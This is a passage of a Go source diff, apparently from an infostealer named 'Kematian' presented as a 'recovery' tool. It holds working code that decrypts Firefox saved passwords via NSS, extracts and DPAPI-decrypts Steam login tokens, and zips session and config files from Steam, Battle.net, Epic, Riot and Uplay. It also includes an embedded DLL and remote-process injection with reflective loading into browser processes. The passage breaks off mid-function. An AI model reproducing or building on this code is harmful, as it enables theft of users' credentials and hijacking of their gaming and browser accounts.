+		password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
+		results = append(results, types.PasswordResult{
+			URL:      login.Hostname,
+			Username: username,
+			Password: password,
+		})
+	}
+
+	return results
+}
+
+func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
+	b64 = strings.TrimSpace(b64)
+	if b64 == "" {
+		return ""
+	}
+
+	encBytes, err := base64.StdEncoding.DecodeString(b64)
+	if err != nil || len(encBytes) == 0 {
+		return ""
+	}
+
+	encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
+	var decItem secItem
+
+	ret, _, _ := pk11SDRDecrypt.Call(
+		uintptr(unsafe.Pointer(&encItem)),
+		uintptr(unsafe.Pointer(&decItem)),
+		0,
+	)
+	if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
+		return ""
+	}
+
+	decBytes := unsafe.Slice(decItem.Data, decItem.Len)
+	result := string(decBytes)
+
+	if portFree != nil {
+		portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
+	}
+
+	return result
+}

Kematian-Standalone/native/recovery/gaming_stub.go

@@ -0,0 +1,228 @@
+//go:build !windows
+
+package recovery
+
+import (
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"recovery/recovery/types"
+	"recovery/recovery/ziputil"
+)
+
+func pathExists(path string) bool {
+	_, err := os.Stat(path)
+	return err == nil
+}
+
+func ScanGaming() *types.GamingResult {
+	result := &types.GamingResult{
+		Steam: scanSteamUnix(),
+	}
+	if result.Steam == nil {
+		return nil
+	}
+	return result
+}
+
+func steamBasePaths() []string {
+	home, _ := os.UserHomeDir()
+	if runtime.GOOS == "darwin" {
+		return []string{
+			filepath.Join(home, "Library", "Application Support", "Steam"),
+		}
+	}
+	return []string{
+		filepath.Join(home, ".steam", "steam"),
+		filepath.Join(home, ".local", "share", "Steam"),
+		filepath.Join(home, ".steam", "debian-installation"),
+	}
+}
+
+func scanSteamUnix() *types.SteamResult {
+	var steamPath string
+	for _, p := range steamBasePaths() {
+		if pathExists(p) {
+			steamPath = p
+			break
+		}
+	}
+	if steamPath == "" {
+		return nil
+	}
+
+	result := &types.SteamResult{SteamPath: steamPath}
+
+	configPath := filepath.Join(steamPath, "config", "loginusers.vdf")
+	if data, err := os.ReadFile(configPath); err == nil {
+		for _, line := range strings.Split(string(data), "\n") {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(line, `"AccountName"`) || strings.HasPrefix(line, `"accountname"`) {
+				val := vdfValueUnix(line)
+				if val != "" {
+					result.Account = val
+					result.AutoLogin = val
+				}
+			}
+			if strings.HasPrefix(line, `"RememberPassword"`) {
+				result.RememberPW = vdfValueUnix(line) == "1"
+			}
+		}
+	}
+
+	if entries, err := os.ReadDir(steamPath); err == nil {
+		for _, e := range entries {
+			if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
+				result.SSFNFiles = append(result.SSFNFiles, e.Name())
+			}
+		}
+	}
+
+	seenGames := make(map[string]bool)
+	scanSteamLibraryUnix(steamPath, result, seenGames)
+
+	if result.Account == "" && len(result.Games) == 0 && len(result.SSFNFiles) == 0 {
+		return nil
+	}
+	return result
+}
+
+func scanSteamLibraryUnix(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
+	libraryFolders := []string{steamPath}
+
+	steamappsRoot := filepath.Join(steamPath, "steamapps")
+	vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
+	if data, err := os.ReadFile(vdfPath); err == nil {
+		for _, line := range strings.Split(string(data), "\n") {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(strings.ToLower(line), `"path"`) {
+				val := vdfValueUnix(line)
+				if val != "" && pathExists(val) && val != steamPath {
+					libraryFolders = append(libraryFolders, val)
+				}
+			}
+		}
+	}
+
+	for _, lib := range libraryFolders {
+		libApps := filepath.Join(lib, "steamapps")
+		if !pathExists(libApps) {
+			continue
+		}
+		entries, _ := os.ReadDir(libApps)
+		for _, e := range entries {
+			if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
+				continue
+			}
+			acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
+			if err != nil || len(acfData) == 0 {
+				continue
+			}
+			acf := parseACFUnix(string(acfData))
+			if acf["appid"] == "" || acf["name"] == "" {
+				continue
+			}
+			if !seenGames[acf["appid"]] {
+				seenGames[acf["appid"]] = true
+				result.Games = append(result.Games, types.GameInfo{
+					ID:        acf["appid"],
+					Name:      acf["name"],
+					Installed: acf["StateFlags"] != "4",
+				})
+			}
+		}
+	}
+}
+
+func parseACFUnix(data string) map[string]string {
+	result := map[string]string{}
+	var inBlock bool
+	for _, line := range strings.Split(data, "\n") {
+		line = strings.TrimLeft(line, "\t ")
+		if line == "{" {
+			inBlock = true
+			continue
+		}
+		if line == "}" {
+			break
+		}
+		if !inBlock || line == "" {
+			continue
+		}
+		if strings.HasPrefix(line, `"`) {
+			key := vdfNthQuotedUnix(line, 0)
+			val := vdfNthQuotedUnix(line, 1)
+			if key != "" {
+				result[key] = val
+			}
+		}
+	}
+	return result
+}
+
+func vdfValueUnix(line string) string {
+	return vdfNthQuotedUnix(line, 1)
+}
+
+func vdfNthQuotedUnix(line string, n int) string {
+	count := 0
+	i := 0
+	for count <= n && i < len(line) {
+		start := strings.Index(line[i:], `"`)
+		if start == -1 {
+			return ""
+		}
+		start += i + 1
+		end := strings.Index(line[start:], `"`)
+		if end == -1 {
+			if count == n {
+				return line[start:]
+			}
+			return ""
+		}
+		if count == n {
+			return line[start : start+end]
+		}
+		i = start + end + 1
+		count++
+	}
+	return ""
+}
+
+const maxZipFile = 50 * 1024 * 1024
+
+func ZipSteamSession(steamPath string) ([]byte, error) {
+	if steamPath == "" || !pathExists(steamPath) {
+		return nil, os.ErrNotExist
+	}
+
+	var files []string
+	entries, _ := os.ReadDir(steamPath)
+	for _, e := range entries {
+		if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
+			if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
+				files = append(files, filepath.Join(steamPath, e.Name()))
+			}
+		}
+	}
+
+	configDir := filepath.Join(steamPath, "config")
+	for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
+		p := filepath.Join(configDir, name)
+		if pathExists(p) {
+			files = append(files, p)
+		}
+	}
+
+	if len(files) == 0 {
+		return nil, os.ErrNotExist
+	}
+	return ziputil.ZipFiles(files, filepath.Dir(steamPath))
+}
+
+func ZipBattleNet() ([]byte, error) { return nil, os.ErrNotExist }
+func ZipEpic() ([]byte, error)      { return nil, os.ErrNotExist }
+func ZipRiot() ([]byte, error)       { return nil, os.ErrNotExist }
+func ZipUplay() ([]byte, error)      { return nil, os.ErrNotExist }

Kematian-Standalone/native/recovery/gaming_windows.go

@@ -0,0 +1,586 @@
+//go:build windows
+
+package recovery
+
+import (
+	"encoding/hex"
+	"os"
+	"path/filepath"
+	"strings"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+	"golang.org/x/sys/windows/registry"
+
+	"recovery/recovery/types"
+	"recovery/recovery/ziputil"
+)
+
+func normLines(data string) []string {
+	return strings.Split(strings.ReplaceAll(data, "\r\n", "\n"), "\n")
+}
+
+func ScanGaming() *types.GamingResult {
+	result := &types.GamingResult{
+		Steam:     ScanSteam(),
+		BattleNet: ScanBattleNet(),
+		Epic:      ScanEpic(),
+		Riot:      ScanRiot(),
+		Uplay:     ScanUplay(),
+	}
+	if result.Steam == nil && len(result.BattleNet) == 0 && len(result.Epic) == 0 && len(result.Riot) == 0 && len(result.Uplay) == 0 {
+		return nil
+	}
+	return result
+}
+
+func ScanSteam() *types.SteamResult {
+	result := &types.SteamResult{}
+
+	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam`, registry.READ)
+	if err != nil {
+		logf("[gaming] Steam registry key not found: %v", err)
+		return nil
+	}
+	defer k.Close()
+
+	result.AutoLogin, _, _ = k.GetStringValue("AutoLoginUser")
+	remPw, _, _ := k.GetIntegerValue("RememberPassword")
+	result.RememberPW = remPw != 0
+
+	steamPath, _, _ := k.GetStringValue("SteamPath")
+	logf("[gaming] Steam registry SteamPath=%q exists=%v", steamPath, pathExists(steamPath))
+	if steamPath == "" || !pathExists(steamPath) {
+		return nil
+	}
+	steamPath = filepath.FromSlash(steamPath)
+	result.SteamPath = steamPath
+
+	if result.AutoLogin != "" {
+		result.Account = result.AutoLogin
+	}
+
+	seenGames := make(map[string]bool)
+	scanSteamLibrary(steamPath, result, seenGames)
+	logf("[gaming] Steam library scan found %d games from manifests", len(result.Games))
+
+	appsKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Valve\Steam\Apps`, registry.READ)
+	if err != nil {
+		logf("[gaming] Steam Apps registry key not found: %v", err)
+	} else {
+		defer appsKey.Close()
+		names, _ := appsKey.ReadSubKeyNames(0)
+		logf("[gaming] Steam Apps registry has %d sub-keys", len(names))
+		for _, name := range names {
+			if seenGames[name] {
+				continue
+			}
+			subKey, err := registry.OpenKey(appsKey, name, registry.READ)
+			if err != nil {
+				continue
+			}
+			gameName, _, _ := subKey.GetStringValue("Name")
+			installed, _, _ := subKey.GetIntegerValue("Installed")
+			running, _, _ := subKey.GetIntegerValue("Running")
+			subKey.Close()
+			if gameName != "" {
+				seenGames[name] = true
+				result.Games = append(result.Games, types.GameInfo{
+					ID:        name,
+					Name:      gameName,
+					Installed: installed == 1,
+					Running:   running == 1,
+				})
+			}
+		}
+	}
+
+	if entries, err := os.ReadDir(steamPath); err == nil {
+		for _, e := range entries {
+			if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
+				result.SSFNFiles = append(result.SSFNFiles, e.Name())
+			}
+		}
+	}
+
+	localVdfPath := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
+	logf("[gaming] Steam local.vdf=%q exists=%v", localVdfPath, pathExists(localVdfPath))
+	if pathExists(localVdfPath) {
+		tokens := extractSteamTokens(steamPath, localVdfPath)
+		if len(tokens) > 0 {
+			result.Token = strings.Join(tokens, "\n")
+			// Parse each token into its steamID + jwt pair (steamID is the part
+			// before the first dot), so it can be surfaced cleanly in the panel.
+			for _, tok := range tokens {
+				if dot := strings.Index(tok, "."); dot > 0 {
+					steamID := tok[:dot]
+					jwt := tok[dot+1:]
+					if steamID != "" && jwt != "" {
+						result.SteamTokens = append(result.SteamTokens, types.SteamTokenResult{
+							SteamID: steamID,
+							Token:   jwt,
+						})
+					}
+					if result.Account == "" {
+						result.Account = steamID
+					}
+				}
+			}
+		}
+	}
+
+	if result.Account == "" {
+		configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml")
+		if configBytes, err := os.ReadFile(configPath); err == nil {
+			content := string(configBytes)
+			if idx := strings.Index(content, `"PersonaName"`); idx > 0 {
+				start := strings.Index(content[idx:], `"`)
+				end := strings.Index(content[idx+start+1:], `"`)
+				if start > 0 && end > 0 {
+					result.Account = content[idx+start+1 : idx+start+1+end]
+				}
+			}
+		}
+	}
+
+	return result
+}
+
+func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
+	libraryFolders := []string{steamPath}
+
+	steamappsRoot := filepath.Join(steamPath, "steamapps")
+	logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot))
+	vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
+	logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath))
+	if data, err := os.ReadFile(vdfPath); err == nil {
+		for _, line := range normLines(string(data)) {
+			line = strings.TrimSpace(line)
+			if strings.HasPrefix(strings.ToLower(line), `"path"`) {
+				val := vdfValue(line)
+				if val != "" {
+					libraryPath := filepath.FromSlash(val)
+					libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator))
+					if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) {
+						libraryFolders = append(libraryFolders, libraryPath)
+					}
+				}
+			}
+		}
+	}
+
+	logf("[gaming] Steam library folders to scan: %v", libraryFolders)
+	for _, lib := range libraryFolders {
+		libApps := filepath.Join(lib, "steamapps")
+		logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps))
+		if !pathExists(libApps) {
+			continue
+		}
+
+		entries, _ := os.ReadDir(libApps)
+		logf("[gaming] Steam steamapps dir has %d entries", len(entries))
+		for _, e := range entries {
+			if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
+				continue
+			}
+			acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
+			if err != nil || len(acfData) == 0 {
+				continue
+			}
+			acf := parseACF(string(acfData))
+			if acf["appid"] == "" || acf["name"] == "" {
+				continue
+			}
+			installed := acf["StateFlags"] != "4"
+			if !seenGames[acf["appid"]] {
+				seenGames[acf["appid"]] = true
+				result.Games = append(result.Games, types.GameInfo{
+					ID:        acf["appid"],
+					Name:      acf["name"],
+					Installed: installed,
+				})
+			}
+		}
+	}
+}
+
+func parseACF(data string) map[string]string {
+	result := map[string]string{}
+	var inBlock bool
+
+	for _, line := range normLines(data) {
+		line = strings.TrimLeft(line, "\t ")
+		if line == "{" {
+			inBlock = true
+			continue
+		}
+		if line == "}" {
+			break
+		}
+		if !inBlock || line == "" {
+			continue
+		}
+		if strings.HasPrefix(line, `"`) {
+			key, val := vdfKeyValue(line)
+			if key != "" {
+				result[key] = val
+			}
+		}
+	}
+	return result
+}
+
+func vdfKeyValue(line string) (string, string) {
+	key := vdfNthQuoted(line, 0)
+	val := vdfNthQuoted(line, 1)
+	return key, val
+}
+
+func vdfValue(line string) string {
+	return vdfNthQuoted(line, 1)
+}
+
+func vdfNthQuoted(line string, n int) string {
+	count := 0
+	i := 0
+	for count <= n && i < len(line) {
+		start := strings.Index(line[i:], `"`)
+		if start == -1 {
+			return ""
+		}
+		start += i + 1
+		end := strings.Index(line[start:], `"`)
+		if end == -1 {
+			if count == n {
+				return line[start:]
+			}
+			return ""
+		}
+		if count == n {
+			return line[start : start+end]
+		}
+		i = start + end + 1
+		count++
+	}
+	return ""
+}
+
+func extractSteamTokens(steamPath, localVdfPath string) []string {
+	loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf")
+	if !pathExists(loginUsersPath) {
+		loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf")
+	}
+	if !pathExists(loginUsersPath) {
+		return nil
+	}
+
+	loginData, _ := os.ReadFile(loginUsersPath)
+	localData, _ := os.ReadFile(localVdfPath)
+	if loginData == nil || localData == nil {
+		return nil
+	}
+
+	accounts := parseVDFAccountNames(string(loginData))
+	if len(accounts) == 0 {
+		return nil
+	}
+
+	return findSteamTokens(string(localData), accounts)
+}
+
+func parseVDFAccountNames(data string) []string {
+	var accounts []string
+	for _, line := range normLines(data) {
+		line = strings.TrimSpace(line)
+		if strings.HasPrefix(line, `"AccountName"`) {
+			val := vdfValue(line)
+			if val != "" {
+				accounts = append(accounts, val)
+			}
+		}
+	}
+	return accounts
+}
+
+func findSteamTokens(data string, accounts []string) []string {
+	normalized := strings.ReplaceAll(data, "\r\n", "\n")
+	var tokens []string
+
+	for _, account := range accounts {
+		prefix := `"` + account + `"`
+		idx := strings.Index(normalized, prefix)
+		if idx == -1 {
+			continue
+		}
+
+		blockStart := strings.Index(normalized[idx:], "{")
+		blockEnd := strings.Index(normalized[idx:], "}")
+		if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart {
+			continue
+		}
+
+		block := normalized[idx+blockStart : idx+blockEnd]
+		tokenStart := strings.Index(block, `"Token"`)
+		if tokenStart == -1 {
+			tokenStart = strings.Index(block, `"RefreshToken"`)
+		}
+		if tokenStart == -1 {
+			continue
+		}
+
+		tokenLine := block[tokenStart:]
+		if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 {
+			tokenLine = tokenLine[:lineEnd]
+		}
+
+		tokenHex := vdfValue(tokenLine)
+		if len(tokenHex) < 64 {
+			continue
+		}
+
+		decrypted := decryptSteamToken(tokenHex, account)
+		if decrypted != "" {
+			tokens = append(tokens, account+"."+decrypted)
+		}
+	}
+
+	return tokens
+}
+
+func decryptSteamToken(tokenHex, account string) string {
+	tokenBytes, err := hex.DecodeString(tokenHex)
+	if err != nil || len(tokenBytes) < 16 {
+		return ""
+	}
+
+	entropy := []byte(account)
+	out, err := dpapiDecrypt(tokenBytes, entropy)
+	if err != nil || len(out) == 0 {
+		return ""
+	}
+
+	return strings.TrimRight(string(out), "\x00")
+}
+
+func dpapiDecrypt(data, entropy []byte) ([]byte, error) {
+	type blob struct {
+		cbData uint32
+		pbData *byte
+	}
+
+	var inBlob, outBlob blob
+	inBlob.cbData = uint32(len(data))
+	if len(data) > 0 {
+		inBlob.pbData = &data[0]
+	}
+
+	var entPtr uintptr
+	if len(entropy) > 0 {
+		entBlob := blob{
+			cbData: uint32(len(entropy)),
+			pbData: &entropy[0],
+		}
+		entPtr = uintptr(unsafe.Pointer(&entBlob))
+	}
+
+	proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData")
+	r, _, err := proc.Call(
+		uintptr(unsafe.Pointer(&inBlob)),
+		0, entPtr, 0, 0, 0,
+		uintptr(unsafe.Pointer(&outBlob)),
+	)
+	if r == 0 {
+		return nil, err
+	}
+	defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
+
+	out := make([]byte, outBlob.cbData)
+	copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData))
+	return out, nil
+}
+
+func pathExists(path string) bool {
+	_, err := os.Stat(path)
+	return err == nil
+}
+
+func ScanBattleNet() []types.BattleNetResult {
+	var results []types.BattleNetResult
+
+	bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
+	logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir))
+	if !pathExists(bnDir) {
+		return nil
+	}
+
+	entries, _ := os.ReadDir(bnDir)
+	for _, e := range entries {
+		if e.IsDir() {
+			scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results)
+		} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
+			results = append(results, types.BattleNetResult{
+				Path: filepath.Join(bnDir, e.Name()),
+				Name: e.Name(),
+			})
+		}
+	}
+
+	return results
+}
+
+func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) {
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return
+	}
+	for _, e := range entries {
+		if e.IsDir() {
+			scanBattleNetRecursive(filepath.Join(dir, e.Name()), results)
+		} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
+			*results = append(*results, types.BattleNetResult{
+				Path: filepath.Join(dir, e.Name()),
+				Name: e.Name(),
+			})
+		}
+	}
+}
+
+func ScanEpic() []types.EpicResult {
+	var results []types.EpicResult
+
+	path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini")
+	logf("[gaming] Epic config=%q exists=%v", path, pathExists(path))
+	if !pathExists(path) {
+		return nil
+	}
+
+	data, err := os.ReadFile(path)
+	if err != nil || len(data) == 0 {
+		return nil
+	}
+
+	content := string(data)
+	if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") {
+		results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"})
+	}
+
+	return results
+}
+
+func ScanRiot() []types.RiotResult {
+	var results []types.RiotResult
+
+	riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data")
+	logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir))
+	if pathExists(riotDir) {
+		results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"})
+	}
+
+	configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config")
+	logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir))
+	if pathExists(configDir) {
+		results = append(results, types.RiotResult{Path: configDir, Name: "Config"})
+	}
+
+	return results
+}
+
+func ScanUplay() []types.UplayResult {
+	var results []types.UplayResult
+
+	path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
+	logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path))
+	if pathExists(path) {
+		results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"})
+	}
+
+	return results
+}
+
+const maxZipFile = 50 * 1024 * 1024
+
+func ZipSteamSession(steamPath string) ([]byte, error) {
+	if steamPath == "" || !pathExists(steamPath) {
+		return nil, os.ErrNotExist
+	}
+
+	var files []string
+
+	entries, _ := os.ReadDir(steamPath)
+	for _, e := range entries {
+		if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
+			if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
+				files = append(files, filepath.Join(steamPath, e.Name()))
+			}
+		}
+	}
+
+	configDir := filepath.Join(steamPath, "config")
+	for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
+		p := filepath.Join(configDir, name)
+		if pathExists(p) {
+			files = append(files, p)
+		}
+	}
+
+	localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
+	if pathExists(localVdf) {
+		files = append(files, localVdf)
+	}
+
+	if len(files) == 0 {
+		return nil, os.ErrNotExist
+	}
+	logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath)
+	return ziputil.ZipFiles(files, filepath.Dir(steamPath))
+}
+
+func ZipBattleNet() ([]byte, error) {
+	bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
+	if !pathExists(bnDir) {
+		return nil, os.ErrNotExist
+	}
+	return ziputil.ZipDirectory(bnDir)
+}
+
+func ZipEpic() ([]byte, error) {
+	configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows")
+	if !pathExists(configDir) {
+		return nil, os.ErrNotExist
+	}
+	return ziputil.ZipDirectory(configDir)
+}
+
+func ZipRiot() ([]byte, error) {
+	riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client")
+	if !pathExists(riotDir) {
+		return nil, os.ErrNotExist
+	}
+
+	var files []string
+	for _, sub := range []string{"Data", "Config"} {
+		d := filepath.Join(riotDir, sub)
+		if !pathExists(d) {
+			continue
+		}
+		filepath.Walk(d, func(path string, info os.FileInfo, err error) error {
+			if err != nil || info.IsDir() || info.Size() > maxZipFile {
+				return nil
+			}
+			files = append(files, path)
+			return nil
+		})
+	}
+	if len(files) == 0 {
+		return nil, os.ErrNotExist
+	}
+	return ziputil.ZipFiles(files, riotDir)
+}
+
+func ZipUplay() ([]byte, error) {
+	uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
+	if !pathExists(uplayDir) {
+		return nil, os.ErrNotExist
+	}
+	return ziputil.ZipDirectory(uplayDir)
+}

Kematian-Standalone/native/recovery/log.go

@@ -0,0 +1,26 @@
+package recovery
+
+import (
+	"fmt"
+	"log"
+	"sync"
+)
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[recovery] "+format, args...)
+}
+
+func safeRecover(where string) {
+	if r := recover(); r != nil {
+		logf("panic recovered in %s: %v", where, r)
+	}
+}
+
+func recoverErrors(where string, errs *[]string, mu *sync.Mutex) {
+	if r := recover(); r != nil {
+		logf("panic recovered in %s: %v", where, r)
+		mu.Lock()
+		*errs = append(*errs, fmt.Sprintf("%s: %v", where, r))
+		mu.Unlock()
+	}
+}

Kematian-Standalone/native/recovery/platform/embedded_dll.go

@@ -0,0 +1,14 @@
+//go:build windows
+
+package platform
+
+import (
+	_ "embed"
+)
+
+//go:embed compat-layer.dll
+var embeddedDLL []byte
+
+func GetEmbeddedDLL() []byte {
+	return embeddedDLL
+}

Kematian-Standalone/native/recovery/platform/embedded_dll_stub.go

@@ -0,0 +1,7 @@
+//go:build !windows
+
+package platform
+
+func GetEmbeddedDLL() []byte {
+	return nil
+}

Kematian-Standalone/native/recovery/platform/inject.go

@@ -0,0 +1,631 @@
+//go:build windows
+
+package platform
+
+import (
+	"encoding/base64"
+	"encoding/binary"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var (
+	modKernel32Inj                = windows.NewLazySystemDLL("kernel32.dll")
+	procVirtualAllocEx            = modKernel32Inj.NewProc("VirtualAllocEx")
+	procVirtualFreeEx             = modKernel32Inj.NewProc("VirtualFreeEx")
+	procCreateRemoteThread        = modKernel32Inj.NewProc("CreateRemoteThread")
+	procQueueUserAPC              = modKernel32Inj.NewProc("QueueUserAPC")
+	modNtdllInj                   = windows.NewLazySystemDLL("ntdll.dll")
+	procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
+)
+
+// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
+type processBasicInformation struct {
+	Reserved1       uintptr
+	PebBaseAddress  uintptr
+	Reserved2       [2]uintptr
+	UniqueProcessId uintptr
+	Reserved3       uintptr
+}
+
+// unicodeString mirrors UNICODE_STRING.
+type unicodeString struct {
+	Length        uint16
+	MaximumLength uint16
+	Buffer        uintptr
+}
+
+// processCommandLine returns the full command line of a process by walking its
+// PEB (x64 offsets). Used to distinguish the main browser process from its
+// renderer/GPU/utility subprocesses.
+func processCommandLine(pid uint32) (string, error) {
+	hProcess, err := windows.OpenProcess(
+		windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
+	if err != nil {
+		return "", err
+	}
+	defer windows.CloseHandle(hProcess)
+
+	var pbi processBasicInformation
+	var retLen uint32
+	status, _, _ := procNtQueryInformationProcess.Call(
+		uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
+		unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
+	)
+	if status != 0 || pbi.PebBaseAddress == 0 {
+		return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
+	}
+
+	// PEB.ProcessParameters (offset 0x20 on x64).
+	var procParams uintptr
+	if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
+		(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
+		return "", err
+	}
+	if procParams == 0 {
+		return "", fmt.Errorf("no process parameters")
+	}
+
+	// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
+	var cmdLine unicodeString
+	if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
+		(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
+		return "", err
+	}
+	if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
+		return "", fmt.Errorf("no command line")
+	}
+
+	buf := make([]uint16, cmdLine.Length/2)
+	if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
+		(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
+		return "", err
+	}
+	return syscall.UTF16ToString(buf), nil
+}
+
+func orderedBrowserPIDs(exeName string) []uint32 {
+	pids, err := FindProcesses(exeName)
+	if err != nil || len(pids) <= 1 {
+		return pids
+	}
+	for i, pid := range pids {
+		if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
+			if i != 0 {
+				pids[0], pids[i] = pids[i], pids[0]
+			}
+			return pids
+		}
+	}
+	return pids
+}
+
+// findReflectiveLoaderOffset parses the PE export table in file layout and
+// returns the file offset of the ReflectiveLoader export function.
+func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
+	if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
+		return 0, fmt.Errorf("not a valid PE")
+	}
+	lfanew := binary.LittleEndian.Uint32(pe[60:])
+	if int(lfanew)+24 > len(pe) {
+		return 0, fmt.Errorf("truncated PE header")
+	}
+	if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
+		return 0, fmt.Errorf("bad PE signature")
+	}
+
+	coffOff := lfanew + 4
+	numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
+	optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
+	optHeaderOff := coffOff + 20
+
+	if int(optHeaderOff)+4 > len(pe) {
+		return 0, fmt.Errorf("truncated optional header")
+	}
+	magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
+
+	var exportRVA uint32
+	switch magic {
+	case 0x10b: // PE32
+		if int(optHeaderOff)+100 > len(pe) {
+			return 0, fmt.Errorf("PE32 optional header too short")
+		}
+		exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
+	case 0x20b: // PE32+
+		if int(optHeaderOff)+116 > len(pe) {
+			return 0, fmt.Errorf("PE32+ optional header too short")
+		}
+		exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
+	default:
+		return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
+	}
+
+	sectionOff := optHeaderOff + uint32(optHeaderSize)
+
+	// rva2fo converts a virtual RVA to a file offset via the section table.
+	rva2fo := func(rva uint32) uint32 {
+		for i := uint16(0); i < numSections; i++ {
+			off := sectionOff + uint32(i)*40
+			if int(off)+40 > len(pe) {
+				break
+			}
+			// IMAGE_SECTION_HEADER layout:
+			//   +0  Name[8]
+			//   +8  VirtualSize
+			//   +12 VirtualAddress
+			//   +16 SizeOfRawData
+			//   +20 PointerToRawData
+			vAddr := binary.LittleEndian.Uint32(pe[off+12:])
